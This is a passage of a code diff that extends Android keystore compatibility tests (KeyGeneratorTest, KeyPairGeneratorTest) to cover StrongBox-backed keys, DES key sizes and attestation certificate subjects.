+            assertEquals(KM_VERIFIED_BOOT_VERIFIED, rootOfTrust.getVerifiedBootState());
+        }
     }
 
     private void checkRsaKeyDetails(Attestation attestation, int keySize, int purposes,
@@ -910,6 +1016,12 @@
                     X500Name signedCertSubject =
                             new JcaX509CertificateHolder(x509PrevCert).getSubject();
                     assertEquals(signedCertSubject, new X500Name("CN=Android Keystore Key"));
+                } else {
+                    // Only strongbox implementations should have strongbox in the subject line
+                    assertFalse(x509CurrCert.getSubjectDN()
+                                            .getName()
+                                            .toLowerCase()
+                                            .contains("strongbox"));
                 }
             } catch (InvalidKeyException | CertificateException | NoSuchAlgorithmException
                     | NoSuchProviderException | SignatureException e) {
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyGeneratorTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyGeneratorTest.java
index eeadf46..57b1585 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyGeneratorTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyGeneratorTest.java
@@ -19,6 +19,7 @@
 import android.security.keystore.KeyGenParameterSpec;
 import android.security.keystore.KeyInfo;
 import android.security.keystore.KeyProperties;
+import android.test.AndroidTestCase;
 import android.test.MoreAsserts;
 
 import com.google.common.collect.ObjectArrays;
@@ -45,7 +46,8 @@
 import javax.crypto.KeyGenerator;
 import javax.crypto.SecretKey;
 
-public class KeyGeneratorTest extends TestCase {
+
+public class KeyGeneratorTest extends AndroidTestCase {
     private static final String EXPECTED_PROVIDER_NAME = TestUtils.EXPECTED_PROVIDER_NAME;
 
     static String[] EXPECTED_ALGORITHMS = {
@@ -57,6 +59,11 @@
         "HmacSHA512",
     };
 
+    static String[] EXPECTED_STRONGBOX_ALGORITHMS = {
+        "AES",
+        "HmacSHA256",
+    };
+
     {
         if (TestUtils.supports3DES()) {
             EXPECTED_ALGORITHMS = ObjectArrays.concat(EXPECTED_ALGORITHMS, "DESede");
@@ -76,6 +83,7 @@
     }
 
     static final int[] AES_SUPPORTED_KEY_SIZES = new int[] {128, 192, 256};
+    static final int[] DES_SUPPORTED_KEY_SIZES = new int[] {168};
 
     public void testAlgorithmList() {
         // Assert that Android Keystore Provider exposes exactly the expected KeyGenerator
@@ -179,10 +187,22 @@
 
     public void testInitWithAlgParamsAndNullSecureRandom()
             throws Exception {
-        for (String algorithm : EXPECTED_ALGORITHMS) {
+        testInitWithAlgParamsAndNullSecureRandomHelper(false /* useStrongbox */);
+        if (TestUtils.hasStrongBox(getContext())) {
+            testInitWithAlgParamsAndNullSecureRandomHelper(true /* useStrongbox */);
+        }
+    }
+
+    private void testInitWithAlgParamsAndNullSecureRandomHelper(boolean useStrongbox)
+            throws Exception {
+        for (String algorithm :
+            (useStrongbox ? EXPECTED_STRONGBOX_ALGORITHMS : EXPECTED_ALGORITHMS)) {
             try {
                 KeyGenerator keyGenerator = getKeyGenerator(algorithm);
-                keyGenerator.init(getWorkingSpec().build(), (SecureRandom) null);
+                keyGenerator.init(getWorkingSpec()
+                    .setIsStrongBoxBacked(useStrongbox)
+                    .build(),
+                    (SecureRandom) null);
                 // Check that generateKey doesn't fail either, just in case null SecureRandom
                 // causes trouble there.
                 keyGenerator.generateKey();
@@ -208,7 +228,15 @@
     }
 
     public void testDefaultKeySize() throws Exception {
-        for (String algorithm : EXPECTED_ALGORITHMS) {
+        testDefaultKeySize(false /* useStrongbox */);
+        if (TestUtils.hasStrongBox(getContext())) {
+            testDefaultKeySize(true /* useStrongbox */);
+        }
+    }
+
+    private void testDefaultKeySize(boolean useStrongbox) throws Exception {
+        for (String algorithm :
+            (useStrongbox ? EXPECTED_STRONGBOX_ALGORITHMS : EXPECTED_ALGORITHMS)) {
             try {
                 int expectedSizeBits = DEFAULT_KEY_SIZES.get(algorithm);
                 KeyGenerator keyGenerator = getKeyGenerator(algorithm);
@@ -222,6 +250,13 @@
     }
 
     public void testAesKeySupportedSizes() throws Exception {
+        testAesKeySupportedSizesHelper(false /* useStrongbox */);
+        if (TestUtils.hasStrongBox(getContext())) {
+            testAesKeySupportedSizesHelper(true /* useStrongbox */);
+        }
+    }
+
+    private void testAesKeySupportedSizesHelper(boolean useStrongbox) throws Exception {
         KeyGenerator keyGenerator = getKeyGenerator("AES");
         KeyGenParameterSpec.Builder goodSpec = getWorkingSpec();
         CountingSecureRandom rng = new CountingSecureRandom();
@@ -230,10 +265,12 @@
                 rng.resetCounters();
                 KeyGenParameterSpec spec;
                 if (i >= 0) {
-                    spec = TestUtils.buildUpon(goodSpec.setKeySize(i)).build();
+                    spec = TestUtils.buildUpon(
+                        goodSpec.setKeySize(i)).setIsStrongBoxBacked(useStrongbox).build();
                 } else {
                     try {
-                        spec = TestUtils.buildUpon(goodSpec.setKeySize(i)).build();
+                        spec = TestUtils.buildUpon(
+                            goodSpec.setKeySize(i)).setIsStrongBoxBacked(useStrongbox).build();
                         fail();
                     } catch (IllegalArgumentException expected) {
                         continue;
@@ -258,9 +295,58 @@
         }
     }
 
-    public void testHmacKeySupportedSizes() throws Exception {
+    // TODO: This test will fail until b/117509689 is resolved.
+    public void testDESKeySupportedSizes() throws Exception {
+        if (!TestUtils.supports3DES()) {
+            return;
+        }
+        KeyGenerator keyGenerator = getKeyGenerator("DESede");
+        KeyGenParameterSpec.Builder goodSpec = getWorkingSpec();
         CountingSecureRandom rng = new CountingSecureRandom();
-        for (String algorithm : EXPECTED_ALGORITHMS) {
+        for (int i = -16; i <= 168; i++) {
+            try {
+                rng.resetCounters();
+                KeyGenParameterSpec spec;
+                if (i >= 0) {
+                    spec = TestUtils.buildUpon(goodSpec.setKeySize(i)).build();
+                } else {
+                    try {
+                        spec = TestUtils.buildUpon(goodSpec.setKeySize(i)).build();
+                        fail();
+                    } catch (IllegalArgumentException expected) {
+                        continue;
+                    }
+                }
+                rng.resetCounters();
+                if (TestUtils.contains(DES_SUPPORTED_KEY_SIZES, i)) {
+                    keyGenerator.init(spec, rng);
+                    SecretKey key = keyGenerator.generateKey();
+                    assertEquals(i, TestUtils.getKeyInfo(key).getKeySize());
+                } else {
+                    try {
+                        keyGenerator.init(spec, rng);
+                        fail();
+                    } catch (InvalidAlgorithmParameterException expected) {}
+                    assertEquals(0, rng.getOutputSizeBytes());
+                }
+            } catch (Throwable e) {
+                throw new RuntimeException("Failed for key size " + i +
+                    "\n***This test will continue to fail until b/117509689 is resolved***", e);
+            }
+        }
+    }
+
+    public void testHmacKeySupportedSizes() throws Exception {
+        testHmacKeySupportedSizesHelper(false /* useStrongbox */);
+        if (TestUtils.hasStrongBox(getContext())) {
+            testHmacKeySupportedSizesHelper(true /* useStrongbox */);
+        }
+    }
+
+    private void testHmacKeySupportedSizesHelper(boolean useStrongbox) throws Exception {
+        CountingSecureRandom rng = new CountingSecureRandom();
+        for (String algorithm :
+            useStrongbox ? EXPECTED_STRONGBOX_ALGORITHMS : EXPECTED_ALGORITHMS) {
             if (!TestUtils.isHmacAlgorithm(algorithm)) {
                 continue;
             }
@@ -271,16 +357,31 @@
                     KeyGenerator keyGenerator = getKeyGenerator(algorithm);
                     KeyGenParameterSpec spec;
                     if (i >= 0) {
-                        spec = getWorkingSpec().setKeySize(i).build();
+                        spec = getWorkingSpec()
+                            .setKeySize(i)
+                            .setIsStrongBoxBacked(useStrongbox)
+                            .build();
                     } else {
                         try {
-                            spec = getWorkingSpec().setKeySize(i).build();
+                            spec = getWorkingSpec()
+                                .setKeySize(i)
+                                .setIsStrongBoxBacked(useStrongbox)
+                                .build();
                             fail();
                         } catch (IllegalArgumentException expected) {
                             continue;
                         }
                     }
-                    if ((i >= 64) && ((i % 8 ) == 0)) {
+                    // Strongbox must not support keys larger than 512 bits
+                    // TODO: This test currently fails, will be fixed on resolution of b/113525261
+                    if (useStrongbox && i > 512) {
+                        try {
+                            keyGenerator.init(spec, rng);
+                            fail();
+                        } catch (InvalidAlgorithmParameterException expected) {
+                            assertEquals(0, rng.getOutputSizeBytes());
+                        }
+                    } else if ((i >= 64) && ((i % 8 ) == 0)) {
                         keyGenerator.init(spec, rng);
                         SecretKey key = keyGenerator.generateKey();
                         assertEquals(i, TestUtils.getKeyInfo(key).getKeySize());
@@ -294,14 +395,24 @@
                     }
                 } catch (Throwable e) {
                     throw new RuntimeException(
-                            "Failed for " + algorithm + " with key size " + i, e);
+                            "Failed for " + algorithm + " with key size " + i
+                            + ". Use Strongbox: " + useStrongbox, e);
                 }
             }
         }
     }
 
     public void testHmacKeyOnlyOneDigestCanBeAuthorized() throws Exception {
-        for (String algorithm : EXPECTED_ALGORITHMS) {
+        testHmacKeyOnlyOneDigestCanBeAuthorizedHelper(false /* useStrongbox */);
+        if (TestUtils.hasStrongBox(getContext())) {
+            testHmacKeyOnlyOneDigestCanBeAuthorizedHelper(true /* useStrongbox */);
+        }
+    }
+
+    private void testHmacKeyOnlyOneDigestCanBeAuthorizedHelper(boolean useStrongbox)
+        throws Exception {
+        for (String algorithm :
+            useStrongbox ? EXPECTED_STRONGBOX_ALGORITHMS : EXPECTED_ALGORITHMS) {
             if (!TestUtils.isHmacAlgorithm(algorithm)) {
                 continue;
             }
@@ -316,21 +427,30 @@
                 KeyGenerator keyGenerator = getKeyGenerator(algorithm);
 
                 // Digests authorization not specified in algorithm parameters
-                assertFalse(goodSpec.build().isDigestsSpecified());
-                keyGenerator.init(goodSpec.build());
+                assertFalse(goodSpec
+                    .setIsStrongBoxBacked(useStrongbox)
+                    .build()
+                    .isDigestsSpecified());
+                keyGenerator.init(goodSpec.setIsStrongBoxBacked(useStrongbox).build());
                 SecretKey key = keyGenerator.generateKey();
                 TestUtils.assertContentsInAnyOrder(
                         Arrays.asList(TestUtils.getKeyInfo(key).getDigests()), digest);
 
                 // The same digest is specified in algorithm parameters
-                keyGenerator.init(TestUtils.buildUpon(goodSpec).setDigests(digest).build());
+                keyGenerator.init(TestUtils.buildUpon(goodSpec)
+                    .setDigests(digest)
+                    .setIsStrongBoxBacked(useStrongbox)
+                    .build());
                 key = keyGenerator.generateKey();
                 TestUtils.assertContentsInAnyOrder(
                         Arrays.asList(TestUtils.getKeyInfo(key).getDigests()), digest);
 
                 // No digests specified in algorithm parameters
                 try {
-                    keyGenerator.init(TestUtils.buildUpon(goodSpec).setDigests().build());
+                    keyGenerator.init(TestUtils.buildUpon(goodSpec)
+                        .setDigests()
+                        .setIsStrongBoxBacked(useStrongbox)
+                        .build());
                     fail();
                 } catch (InvalidAlgorithmParameterException expected) {}
 
@@ -339,12 +459,14 @@
                 try {
                     keyGenerator.init(TestUtils.buildUpon(goodSpec)
                             .setDigests(anotherDigest)
+                            .setIsStrongBoxBacked(useStrongbox)
                             .build());
                     fail();
                 } catch (InvalidAlgorithmParameterException expected) {}
                 try {
                     keyGenerator.init(TestUtils.buildUpon(goodSpec)
                             .setDigests(digest, anotherDigest)
+                            .setIsStrongBoxBacked(useStrongbox)
                             .build());
                     fail();
                 } catch (InvalidAlgorithmParameterException expected) {}
@@ -355,11 +477,23 @@
     }
 
     public void testInitWithUnknownBlockModeFails() {
-        for (String algorithm : EXPECTED_ALGORITHMS) {
+        testInitWithUnknownBlockModeFailsHelper(false /* useStrongbox */);
+        if (TestUtils.hasStrongBox(getContext())) {
+            testInitWithUnknownBlockModeFailsHelper(true /* useStrongbox */);
+        }
+    }
+
+    public void testInitWithUnknownBlockModeFailsHelper(boolean useStrongbox) {
+        for (String algorithm :
+            useStrongbox ? EXPECTED_STRONGBOX_ALGORITHMS : EXPECTED_ALGORITHMS) {
             try {
                 KeyGenerator keyGenerator = getKeyGenerator(algorithm);
                 try {
-                    keyGenerator.init(getWorkingSpec().setBlockModes("weird").build());
+                    keyGenerator.init(
+                        getWorkingSpec()
+                        .setBlockModes("weird")
+                        .setIsStrongBoxBacked(useStrongbox)
+                        .build());
                     fail();
                 } catch (InvalidAlgorithmParameterException expected) {}
             } catch (Throwable e) {
@@ -369,11 +503,23 @@
     }
 
     public void testInitWithUnknownEncryptionPaddingFails() {
-        for (String algorithm : EXPECTED_ALGORITHMS) {
+        testInitWithUnknownEncryptionPaddingFailsHelper(false /* useStrongbox */);
+        if (TestUtils.hasStrongBox(getContext())) {
+            testInitWithUnknownEncryptionPaddingFailsHelper(true /* useStrongbox */);
+        }
+    }
+
+    private void testInitWithUnknownEncryptionPaddingFailsHelper(boolean useStrongbox) {
+        for (String algorithm :
+            useStrongbox ? EXPECTED_STRONGBOX_ALGORITHMS : EXPECTED_ALGORITHMS) {
             try {
                 KeyGenerator keyGenerator = getKeyGenerator(algorithm);
                 try {
-                    keyGenerator.init(getWorkingSpec().setEncryptionPaddings("weird").build());
+                    keyGenerator.init(
+                        getWorkingSpec()
+                        .setEncryptionPaddings("weird")
+                        .setIsStrongBoxBacked(useStrongbox)
+                        .build());
                     fail();
                 } catch (InvalidAlgorithmParameterException expected) {}
             } catch (Throwable e) {
@@ -383,12 +529,21 @@
     }
 
     public void testInitWithSignaturePaddingFails() {
-        for (String algorithm : EXPECTED_ALGORITHMS) {
+        testInitWithSignaturePaddingFailsHelper(false /* useStrongbox */);
+        if (TestUtils.hasStrongBox(getContext())) {
+            testInitWithSignaturePaddingFailsHelper(true /* useStrongbox */);
+        }
+    }
+
+    private void testInitWithSignaturePaddingFailsHelper(boolean useStrongbox) {
+        for (String algorithm :
+            useStrongbox ? EXPECTED_STRONGBOX_ALGORITHMS : EXPECTED_ALGORITHMS) {
             try {
                 KeyGenerator keyGenerator = getKeyGenerator(algorithm);
                 try {
                     keyGenerator.init(getWorkingSpec()
                             .setSignaturePaddings(KeyProperties.SIGNATURE_PADDING_RSA_PKCS1)
+                            .setIsStrongBoxBacked(useStrongbox)
                             .build());
                     fail();
                 } catch (InvalidAlgorithmParameterException expected) {}
@@ -399,7 +554,15 @@
     }
 
     public void testInitWithUnknownDigestFails() {
-        for (String algorithm : EXPECTED_ALGORITHMS) {
+        testInitWithUnknownDigestFailsHelper(false /* useStrongbox */);
+        if (TestUtils.hasStrongBox(getContext())) {
+            testInitWithUnknownDigestFailsHelper(true /* useStrongbox */);
+        }
+    }
+
+    public void testInitWithUnknownDigestFailsHelper(boolean useStrongbox) {
+        for (String algorithm :
+            useStrongbox ? EXPECTED_STRONGBOX_ALGORITHMS : EXPECTED_ALGORITHMS) {
             try {
                 KeyGenerator keyGenerator = getKeyGenerator(algorithm);
                 try {
@@ -411,7 +574,11 @@
                     } else {
                         digests = new String[] {"weird"};
                     }
-                    keyGenerator.init(getWorkingSpec().setDigests(digests).build());
+                    keyGenerator.init(
+                        getWorkingSpec()
+                        .setDigests(digests)
+                        .setIsStrongBoxBacked(useStrongbox)
+                        .build());
                     fail();
                 } catch (InvalidAlgorithmParameterException expected) {}
             } catch (Throwable e) {
@@ -421,7 +588,17 @@
     }
 
     public void testInitWithKeyAlgorithmDigestMissingFromAuthorizedDigestFails() {
-        for (String algorithm : EXPECTED_ALGORITHMS) {
+        testInitWithKeyAlgorithmDigestMissingFromAuthorizedDigestFailsHelper(
+            false /* useStrongbox */);
+        if (TestUtils.hasStrongBox(getContext())) {
+            testInitWithKeyAlgorithmDigestMissingFromAuthorizedDigestFailsHelper(
+                true /* useStrongbox */);
+        }
+    }
+
+    private void testInitWithKeyAlgorithmDigestMissingFromAuthorizedDigestFailsHelper(boolean useStrongbox) {
+        for (String algorithm :
+            useStrongbox ? EXPECTED_STRONGBOX_ALGORITHMS : EXPECTED_ALGORITHMS) {
             if (!TestUtils.isHmacAlgorithm(algorithm)) {
                 continue;
             }
@@ -433,13 +610,21 @@
                     String digest = TestUtils.getHmacAlgorithmDigest(algorithm);
                     String anotherDigest = KeyProperties.DIGEST_SHA256.equalsIgnoreCase(digest)
                             ? KeyProperties.DIGEST_SHA512 : KeyProperties.DIGEST_SHA256;
-                    keyGenerator.init(getWorkingSpec().setDigests(anotherDigest).build());
+                    keyGenerator.init(
+                        getWorkingSpec()
+                        .setDigests(anotherDigest)
+                        .setIsStrongBoxBacked(useStrongbox)
+                        .build());
                     fail();
                 } catch (InvalidAlgorithmParameterException expected) {}
 
                 // Authorized for empty set of digests
                 try {
-                    keyGenerator.init(getWorkingSpec().setDigests().build());
+                    keyGenerator.init(
+                        getWorkingSpec()
+                        .setDigests()
+                        .setIsStrongBoxBacked(useStrongbox)
+                        .build());
                     fail();
                 } catch (InvalidAlgorithmParameterException expected) {}
             } catch (Throwable e) {
@@ -449,13 +634,23 @@
     }
 
     public void testInitRandomizedEncryptionRequiredButViolatedFails() throws Exception {
-        for (String algorithm : EXPECTED_ALGORITHMS) {
+        testInitRandomizedEncryptionRequiredButViolatedFailsHelper(false /* useStrongbox */);
+        if (TestUtils.hasStrongBox(getContext())) {
+            testInitRandomizedEncryptionRequiredButViolatedFailsHelper(true /* useStrongbox */);
+        }
+    }
+
+    public void testInitRandomizedEncryptionRequiredButViolatedFailsHelper(boolean useStrongbox)
+        throws Exception {
+        for (String algorithm :
+            useStrongbox ? EXPECTED_STRONGBOX_ALGORITHMS : EXPECTED_ALGORITHMS) {
             try {
                 KeyGenerator keyGenerator = getKeyGenerator(algorithm);
                 try {
                     keyGenerator.init(getWorkingSpec(
                             KeyProperties.PURPOSE_ENCRYPT)
                             .setBlockModes(KeyProperties.BLOCK_MODE_ECB)
+                            .setIsStrongBoxBacked(useStrongbox)
                             .build());
                     fail();
                 } catch (InvalidAlgorithmParameterException expected) {}
@@ -466,12 +661,21 @@
     }
 
     public void testGenerateHonorsRequestedAuthorizations() throws Exception {
+        testGenerateHonorsRequestedAuthorizationsHelper(false /* useStrongbox */);
+        if (TestUtils.hasStrongBox(getContext())) {
+            testGenerateHonorsRequestedAuthorizationsHelper(true /* useStrongbox */);
+        }
+    }
+
+    private void testGenerateHonorsRequestedAuthorizationsHelper(boolean useStrongbox)
+        throws Exception {
         Date keyValidityStart = new Date(System.currentTimeMillis() - TestUtils.DAY_IN_MILLIS);
         Date keyValidityForOriginationEnd =
                 new Date(System.currentTimeMillis() + TestUtils.DAY_IN_MILLIS);
         Date keyValidityForConsumptionEnd =
                 new Date(System.currentTimeMillis() + 3 * TestUtils.DAY_IN_MILLIS);
-        for (String algorithm : EXPECTED_ALGORITHMS) {
+        for (String algorithm :
+            useStrongbox ? EXPECTED_STRONGBOX_ALGORITHMS : EXPECTED_ALGORITHMS) {
             try {
                 String[] blockModes =
                         new String[] {KeyProperties.BLOCK_MODE_GCM, KeyProperties.BLOCK_MODE_CBC};
@@ -497,6 +701,7 @@
                         .setKeyValidityStart(keyValidityStart)
                         .setKeyValidityForOriginationEnd(keyValidityForOriginationEnd)
                         .setKeyValidityForConsumptionEnd(keyValidityForConsumptionEnd)
+                        .setIsStrongBoxBacked(useStrongbox)
                         .build());
                 SecretKey key = keyGenerator.generateKey();
                 assertEquals(algorithm, key.getAlgorithm());
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyPairGeneratorTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyPairGeneratorTest.java
index adec153..1493430 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyPairGeneratorTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyPairGeneratorTest.java
@@ -299,6 +299,13 @@
     }
 
     public void testGenerateHonorsRequestedAuthorizations() throws Exception {
+        testGenerateHonorsRequestedAuthorizationsHelper(false /* useStrongbox */);
+        if (TestUtils.hasStrongBox(getContext())) {
+            testGenerateHonorsRequestedAuthorizationsHelper(true /* useStrongbox */);
+        }
+    }
+
+    private void testGenerateHonorsRequestedAuthorizationsHelper(boolean useStrongbox) {
         Date keyValidityStart = new Date(System.currentTimeMillis() - TestUtils.DAY_IN_MILLIS);
         Date keyValidityForOriginationEnd =
                 new Date(System.currentTimeMillis() + TestUtils.DAY_IN_MILLIS);
@@ -322,6 +329,7 @@
                         .setKeyValidityStart(keyValidityStart)
                         .setKeyValidityForOriginationEnd(keyValidityForOriginationEnd)
                         .setKeyValidityForConsumptionEnd(keyValidityForConsumptionEnd)
+                        .setIsStrongBoxBacked(useStrongbox)
                         .build());
                 KeyPair keyPair = generator.generateKeyPair();
                 assertEquals(algorithm, keyPair.getPrivate().getAlgorithm());
@@ -353,7 +361,8 @@
                 assertFalse(keyInfo.isUserAuthenticationRequired());
                 assertFalse(keyInfo.isUserAuthenticationRequirementEnforcedBySecureHardware());
             } catch (Throwable e) {
-                throw new RuntimeException("Failed for " + algorithm, e);
+                String specific = useStrongbox ? "Strongbox:" : "";
+                throw new RuntimeException(specific + "Failed for " + algorithm, e);
             }
         }
     }
@@ -562,8 +571,14 @@
                 KeyProperties.SIGNATURE_PADDING_RSA_PKCS1);
     }
 
-    public void testGenerate_ReplacesOldEntryWithSameAlias()
-            throws Exception {
+    public void testGenerate_ReplacesOldEntryWithSameAlias() throws Exception {
+        replacesOldEntryWithSameAliasHelper(false /* useStrongbox */);
+        if (TestUtils.hasStrongBox(getContext())) {
+            replacesOldEntryWithSameAliasHelper(true /* useStrongbox */);
+        }
+    }
+
+    private void replacesOldEntryWithSameAliasHelper(boolean useStrongbox) throws Exception {
         // Generate the first key
         {
             KeyPairGenerator generator = getRsaGenerator();
@@ -579,6 +594,7 @@
                     .setCertificateSerialNumber(TEST_SERIAL_1)
                     .setCertificateNotBefore(NOW)
                     .setCertificateNotAfter(NOW_PLUS_10_YEARS)
+                    .setIsStrongBoxBacked(useStrongbox)
                     .build());
             assertGeneratedKeyPairAndSelfSignedCertificate(
                     generator.generateKeyPair(),
@@ -606,6 +622,7 @@
                     .setCertificateSerialNumber(TEST_SERIAL_2)
                     .setCertificateNotBefore(NOW)
                     .setCertificateNotAfter(NOW_PLUS_10_YEARS)
+                    .setIsStrongBoxBacked(useStrongbox)
                     .build());
             assertGeneratedKeyPairAndSelfSignedCertificate(
                     generator.generateKeyPair(),
@@ -619,8 +636,14 @@
         }
     }
 
-    public void testGenerate_DoesNotReplaceOtherEntries()
-            throws Exception {
+    public void testGenerate_DoesNotReplaceOtherEntries() throws Exception {
+        doesNotReplaceOtherEntriesHelper(false /* useStrongbox */);
+        if (TestUtils.hasStrongBox(getContext())) {
+            doesNotReplaceOtherEntriesHelper(true /* useStrongbox */);
+        }
+    }
+
+    private void doesNotReplaceOtherEntriesHelper(boolean useStrongbox) throws Exception {
         // Generate the first key
         KeyPairGenerator generator = getRsaGenerator();
         generator.initialize(new KeyGenParameterSpec.Builder(
@@ -635,6 +658,7 @@
                 .setCertificateSerialNumber(TEST_SERIAL_1)
                 .setCertificateNotBefore(NOW)
                 .setCertificateNotAfter(NOW_PLUS_10_YEARS)
+                .setIsStrongBoxBacked(useStrongbox)
                 .build());
         KeyPair keyPair1 = generator.generateKeyPair();
         assertGeneratedKeyPairAndSelfSignedCertificate(
@@ -660,6 +684,7 @@
                 .setCertificateSerialNumber(TEST_SERIAL_2)
                 .setCertificateNotBefore(NOW)
                 .setCertificateNotAfter(NOW_PLUS_10_YEARS)
+                .setIsStrongBoxBacked(useStrongbox)
                 .build());
         KeyPair keyPair2 = generator.generateKeyPair();
         assertGeneratedKeyPairAndSelfSignedCertificate(
@@ -685,10 +710,18 @@
     }
 
     public void testGenerate_EC_ModernSpec_Defaults() throws Exception {
+        testGenerate_EC_ModernSpec_DefaultsHelper(false /* useStrongbox */);
+        if (TestUtils.hasStrongBox(getContext())) {
+            testGenerate_EC_ModernSpec_DefaultsHelper(true /* useStrongbox */);
+        }
+    }
+
+    private void testGenerate_EC_ModernSpec_DefaultsHelper(boolean useStrongbox) throws Exception {
         KeyPairGenerator generator = getEcGenerator();
         generator.initialize(new KeyGenParameterSpec.Builder(
                 TEST_ALIAS_1,
                 KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_VERIFY)
+                .setIsStrongBoxBacked(useStrongbox)
                 .build());
         KeyPair keyPair = generator.generateKeyPair();
         assertGeneratedKeyPairAndSelfSignedCertificate(
@@ -720,10 +753,18 @@
     }
 
     public void testGenerate_RSA_ModernSpec_Defaults() throws Exception {
+        testGenerate_RSA_ModernSpec_DefaultsHelper(false /* useStrongbox */);
+        if (TestUtils.hasStrongBox(getContext())) {
+            testGenerate_RSA_ModernSpec_DefaultsHelper(true /* useStrongbox */);
+        }
+    }
+
+    private void testGenerate_RSA_ModernSpec_DefaultsHelper(boolean useStrongbox) throws Exception {
         KeyPairGenerator generator = getRsaGenerator();
         generator.initialize(new KeyGenParameterSpec.Builder(
                 TEST_ALIAS_1,
                 KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT)
+                .setIsStrongBoxBacked(useStrongbox)
                 .build());
         KeyPair keyPair = generator.generateKeyPair();
         assertGeneratedKeyPairAndSelfSignedCertificate(
@@ -818,14 +859,85 @@
         assertEquals(-1, keyInfo.getUserAuthenticationValidityDurationSeconds());
     }
 
+    // Strongbox has more restrictions on key properties than general keystore.
+    // This is a reworking of the generic test to still be as custom as possible while
+    // respecting the spec constraints.
+    // Test fails until the resolution of b/113276806
+    public void testGenerate_EC_ModernSpec_AsCustomAsPossibleStrongbox() throws Exception {
+        if (!TestUtils.hasStrongBox(getContext())) {
+            return;
+        }
+        KeyPairGenerator generator = getEcGenerator();
+        Date keyValidityStart = new Date(System.currentTimeMillis());
+        Date keyValidityEndDateForOrigination = new Date(System.currentTimeMillis() + 1000000);
+        Date keyValidityEndDateForConsumption = new Date(System.currentTimeMillis() + 10000000);
+
+        Date certNotBefore = new Date(System.currentTimeMillis() - 1000 * 60 * 60 * 24 * 7);
+        Date certNotAfter = new Date(System.currentTimeMillis() + 1000 * 60 * 60 * 24 * 7);
+        BigInteger certSerialNumber = new BigInteger("12345678");
+        X500Principal certSubject = new X500Principal("cn=hello");
+        generator.initialize(new KeyGenParameterSpec.Builder(
+                TEST_ALIAS_1,
+                KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_VERIFY
+                        | KeyProperties.PURPOSE_ENCRYPT)
+                .setKeySize(256)
+                .setDigests(KeyProperties.DIGEST_SHA256)
+                .setKeyValidityStart(keyValidityStart)
+                .setKeyValidityForOriginationEnd(keyValidityEndDateForOrigination)
+                .setKeyValidityForConsumptionEnd(keyValidityEndDateForConsumption)
+                .setCertificateSerialNumber(certSerialNumber)
+                .setCertificateSubject(certSubject)
+                .setCertificateNotBefore(certNotBefore)
+                .setCertificateNotAfter(certNotAfter)
+                .setUnlockedDeviceRequired(true)
+                .setIsStrongBoxBacked(true)
+                .build());
+        KeyPair keyPair = generator.generateKeyPair();
+        assertGeneratedKeyPairAndSelfSignedCertificate(
+                keyPair,
+                TEST_ALIAS_1,
+                "EC",
+                256,
+                certSubject,
+                certSerialNumber,
+                certNotBefore,
+                certNotAfter);
+        TestUtils.assertECParameterSpecEqualsIgnoreSeedIfNotPresent(
+                ECCurves.NIST_P_256_SPEC, ((ECKey) keyPair.getPrivate()).getParams());
+        KeyInfo keyInfo = TestUtils.getKeyInfo(keyPair.getPrivate());
+        assertEquals(256, keyInfo.getKeySize());
+        assertEquals(TEST_ALIAS_1, keyInfo.getKeystoreAlias());
+        assertOneOf(keyInfo.getOrigin(),
+                KeyProperties.ORIGIN_GENERATED, KeyProperties.ORIGIN_UNKNOWN);
+        assertEquals(
+                KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_VERIFY
+                        | KeyProperties.PURPOSE_ENCRYPT,
+                keyInfo.getPurposes());
+        assertEquals(keyValidityStart, keyInfo.getKeyValidityStart());
+        assertEquals(keyValidityEndDateForOrigination, keyInfo.getKeyValidityForOriginationEnd());
+        assertEquals(keyValidityEndDateForConsumption, keyInfo.getKeyValidityForConsumptionEnd());
+        MoreAsserts.assertEmpty(Arrays.asList(keyInfo.getBlockModes()));
+
+        List<String> actualDigests = new ArrayList<String>(Arrays.asList(keyInfo.getDigests()));
+        // Keystore may have added DIGEST_NONE, to allow software digesting.
+        actualDigests.remove(KeyProperties.DIGEST_NONE);
+        TestUtils.assertContentsInAnyOrder(
+                actualDigests, KeyProperties.DIGEST_SHA256);
+
+        MoreAsserts.assertEmpty(Arrays.asList(keyInfo.getSignaturePaddings()));
+        MoreAsserts.assertEmpty(Arrays.asList(keyInfo.getEncryptionPaddings()));
+        assertFalse(keyInfo.isUserAuthenticationRequired());
+        assertEquals(-1, keyInfo.getUserAuthenticationValidityDurationSeconds());
+    }
+
     public void testGenerate_RSA_ModernSpec_AsCustomAsPossible() throws Exception {
         KeyPairGenerator generator = getRsaGenerator();
         Date keyValidityStart = new Date(System.currentTimeMillis());
         Date keyValidityEndDateForOrigination = new Date(System.currentTimeMillis() + 1000000);
         Date keyValidityEndDateForConsumption = new Date(System.currentTimeMillis() + 10000000);
 
-        Date certNotBefore = new Date(System.currentTimeMillis() - 1000 * 60 * 60 * 24 * 210);
-        Date certNotAfter = new Date(System.currentTimeMillis() + 1000 * 60 * 60 * 24 * 210);
+        Date certNotBefore = new Date(System.currentTimeMillis() - 1000L * 60 * 60 * 24 * 210);
+        Date certNotAfter = new Date(System.currentTimeMillis() + 1000L * 60 * 60 * 24 * 210);
         BigInteger certSerialNumber = new BigInteger("1234567890");
         X500Principal certSubject = new X500Principal("cn=hello2");
         generator.initialize(new KeyGenParameterSpec.Builder(
@@ -900,12 +1012,110 @@
         assertEquals(-1, keyInfo.getUserAuthenticationValidityDurationSeconds());
     }
 
+    // Strongbox has more restrictions on key properties than general keystore.
+    // This is a reworking of the generic test to still be as custom as possible while
+    // respecting the spec constraints.
+    // Test fails until the resolution of b/113276806
+    public void testGenerate_RSA_ModernSpec_AsCustomAsPossibleStrongbox() throws Exception {
+        if (!TestUtils.hasStrongBox(getContext())) {
+            return;
+        }
+        KeyPairGenerator generator = getRsaGenerator();
+        Date keyValidityStart = new Date(System.currentTimeMillis());
+        Date keyValidityEndDateForOrigination = new Date(System.currentTimeMillis() + 1000000);
